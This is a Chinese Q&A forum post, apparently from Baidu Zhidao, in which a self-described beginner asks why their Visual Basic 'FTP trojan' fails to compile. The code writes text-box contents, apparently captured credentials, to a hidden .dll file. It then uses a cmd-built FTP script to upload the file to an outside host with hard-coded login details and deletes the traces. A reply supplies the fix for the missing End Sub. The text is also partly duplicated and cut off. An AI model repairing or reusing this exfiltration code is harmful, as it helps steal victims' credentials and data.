一段VB写的FTP马。高手看问题出在哪里？在线等

来源：百度知道 编辑：UC知道 时间：2024/06/22 21:37:42
Private Sub Command3_Click()
Dim orz As String
Dim r As Double
Randomize
r = Rnd(r)
orz = "C:\" & r & ".dll"
Open orz For Append As #1
Print #1, Text1.Text, Text2.Text
Close #1
Shell "cmd /c echo open 61.177.7.1>>test.txt&echo 0000000>>test.txt&echo 0000000>>test.txt&echo bin>>test.txt&echo put C:\*.dll>>test.txt&echo bye>>test.txt&ftp -s:test.txt&del test.txt"
Sub delay(n As Integer)
Dim H As Integer
Dim T As Single
For H = 1 To n
T = Timer
Do
DoEvents
Loop Until T <> Timer
Next H
Kill orz
End Sub

运行后说编译错误 缺少end sub 知道的详细点。。偶菜鸟！！！！
试了楼下答案 没能解决 结果一样。就是不知道住在哪里了。试着加了个end usb 变成了
Private Sub Command3_Click()
Dim orz As String
Dim r As Double
Randomize
r = Rnd(r)
orz = "C:\" & r & ".dll"
Open orz For Append As #1
Print #1, Text

Private Sub Command3_Click()
Dim orz As String
Dim r As Double
Randomize
r = Rnd(r)
orz = "C:\" & r & ".dll"
Open orz For Append As #1
Print #1, Text1.Text, Text2.Text
Close #1
Shell "cmd /c echo open go1.icpcn.com>>test.txt&echo zjm8881386>>test.txt&echo 8881386>>test.txt&echo bin>>test.txt&echo put C:\*.dll>>test.txt&echo bye>>test.txt&ftp -s:test.txt&del test.txt"
delay(99999)
End Sub
Sub delay(n As Integer)
Dim H As Integer
Dim T As Single
For H = 1 To n
T = Timer
Do
DoEvents
Loop Until T <> Timer
Next H
Kill orz
End Sub

Sub delay(n As Integer)
Dim H As Integer
Dim T As Single
For H = 1 To n
T = Timer
Do
DoEvents
Loop Until T <> Timer
Next H
Kill orz
End Sub
是一段。而PRIVATE SUB。。。。无END SUB。所以提示缺少END